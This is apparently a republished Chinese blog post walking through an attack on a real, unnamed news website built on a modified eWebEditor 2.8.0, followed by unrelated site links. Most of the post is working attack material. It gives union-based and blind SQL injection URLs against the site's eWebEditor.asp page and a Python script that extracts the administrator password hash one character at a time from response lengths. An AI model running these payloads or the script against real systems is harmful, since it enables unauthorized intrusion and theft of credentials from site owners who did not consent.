某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」某网站后台是用的  蓝滨新闻系统精简加强版即如图:可见,后台是JSP+Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。根据这个系统的源代码,找这个系统的漏洞。manage/htmledit/eWebEditor.asp sSql="select*fromewebeditor_stylewheres_name=’"&sSty…

大家好,又见面了,我是你们的朋友全栈君。

某网站后台是用的   蓝滨新闻系统精简加强版 即如图:

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

可见,后台是JSP + Access,虽然这个新闻系统标题写了是安全性加强版本,但是对于这种系统我还是很感兴趣的。

根据这个系统的源代码,找这个系统的漏洞

manage/htmledit/eWebEditor.asp

	sSql = "select * from ewebeditor_style where s_name='" & sStyleName & "'"
	oRs.Open sSql, oConn, 0, 

可以看到,这里有注入。这里用的是臭名昭著的 eWebEditor 2.8.0 最终版

如果是纯粹的eWebEditor ,那么到这里 直接上工具就行了。但是这里是魔改过的,所以,传统的注入不可以。所以需要魔改SQL语句。因为数据库是Access,激活成功教程就好麻烦啦。。

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20sys_UserPass,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System''

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' and ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)  union select (14),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union 
select * from eWebEditor_System where ((select top 1 asc(mid(sys_UserPass,1,1)) from eWebEditor_System)>97)



## 猜解出密码和用户名长度:16 根据程序可见,是纯MD5加密
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 len(sys_UserName) from eWebEditor_System) = 16)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
true ;

## 成功实现ASC II 表的字符匹配 ,如果报错则是不匹配
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard' union select (select (14) from eWebEditor_System where ((select top 1 asc(sys_UserPass,1,1)) from eWebEditor_System)<97)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from eWebEditor_System
http://xxxx/news/manage/htmledit/eWebEditor.asp?id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,1,1))%20from%20eWebEditor_System)<66)),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

http://xxxx/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserName,"+str(charNum) +",1))%20from%20eWebEditor_System)<" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System

到这里,就成功可以解出系统的用户名以及密码了。但是这里是用的ASC II 表匹配。一个一个试不现实。

写个针对性Python进行注入穷举:

kn.py

#encoding:UTF-8
import requests
##定义 n:找ASCII码
n = 48
charNum = 1
allAscII = ""
while charNum<=16:
    while 1:
        url = "http://xxxxxxx/news/news/manage/htmledit/eWebEditor.asp?" \
              "id=14&style=standard%27%20union%20select%20(select%20(14)%20from%20eWebEditor_System%20where%20((select%20top%201%20asc(mid(sys_UserPass,"+str(charNum) +",1))%20from%20eWebEditor_System)=" + str(
            n) + ")),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21%20from%20eWebEditor_System"
        r = requests.get(url)
        print("访问成功,正在访问第"+ str(charNum)+"个位置的码,尝试的ASC II 码为:" + str(n) + "获取到的长度为" + str(len(r.text)))
        if len(r.text) > 400:
            print("成功获取到第"+ str(charNum)+"个位置 的 ASC II 码!为" + str(n))
            allAscII = allAscII + str(n) + ","
            break;
        n = n + 1
    charNum = charNum + 1
    n = 48
print(allAscII)
## 失败 长度少于400 (=317)
## 成功 长度大于400  (=12370)
## print(len(r.text))

运行:

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

获取了十六位的ASC II 码后,就可以根据这个表

某网站(JSP + Access) 渗透 实例 ( eWebEditor 漏洞 )「建议收藏」

进行转换,然后得到密码md5值

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/159076.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 至强e5处理器天梯图_e系列cpu天梯图

    至强e5处理器天梯图_e系列cpu天梯图lintel的至强CPU(Xeon)是为服务器准备的,优点核心数、线程数超多,对多任务处理优势明显,现在很多桌面电脑也会搭配志强CPU,用于游戏挂机,多任务处理等等。那么你们知道至强CPU性能排行榜,志强CPU中哪个最强,感兴趣的朋友一起来看看至强系列cpu天梯图,由本站2020年6月发布。至强CPU单线程跑分和多线程跑分性能排行榜:至强系列cpu天梯图2020:(数据比较多,大家可以使用CTR…

    2022年9月20日
    2
  • if python用法_for循环语句

    if python用法_for循环语句今天,我们将学习Python中if语句的基本使用。if在Python中用作某个条件或值的判断,格式为:if条件: 执行语句1else: 执行语句2else是当条件不成立时运行的代码。我们先来看个例子,程序判断天气情况并输出是否要带伞:weather=input(“今日天气是:”)ifweather==”雨天” print(“今天出门需要带伞”)else: print(“今天出门不需要带伞”)运行代码,输入雨天会提示要带伞。if语句中用的两个“=”是什么呢

    2022年9月26日
    4
  • 【推荐系统算法】PMF(Probabilistic Matrix Factorization)

    【推荐系统算法】PMF(Probabilistic Matrix Factorization)细读论文:现代推荐系统的基础算法之一PMF。

    2022年6月14日
    44
  • 美国城市地名简称_外国地名英文

    美国城市地名简称_外国地名英文近期在做某个项目要用到美国的地名,上网查了一圈都没有比較具体的、专业的,仅仅好自己复制了一个大概有500多个城市、城镇的英文,用谷歌翻译一下,结果例如以下:谷歌翻译结果,非常多是错误的,边用边改美国地

    2022年8月2日
    2
  • SpringBoot + Vue 开发前后端分离的旅游管理系统

    SpringBoot + Vue 开发前后端分离的旅游管理系统旅游管理系统项目简介需求分析数据库建表环境搭建引入依赖(pom.xml)配置文件(application.properties)前端页面注册功能验证码工具类项目简介所需技术栈:后端技术栈:springboot+mybatis前后端分离:axios、json前端技术栈、技术架构:Vue、node.js要求:了解Vue组件之前的知识对springboot+mybatis较熟悉开发流程:需求分析库表设计编码(项目环境搭建+编码)项目调试项目部署上线需求分析

    2022年5月12日
    33
  • android错误之Unable to resolve target ‘Google Inc.:Google APIs:6’

    在导入一个项目是,出现Unable to resolve target ‘Google Inc.:Google APIs:6’ 按下面方式解决: 修改目录下的project.property文件内容为target=Google Inc.:Google APIs:16(在这里他本来可能是其他版本号,不用管它,只需要改成你所导入的包的版本就行,比如我这里已经导入就是api1

    2022年3月10日
    48

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号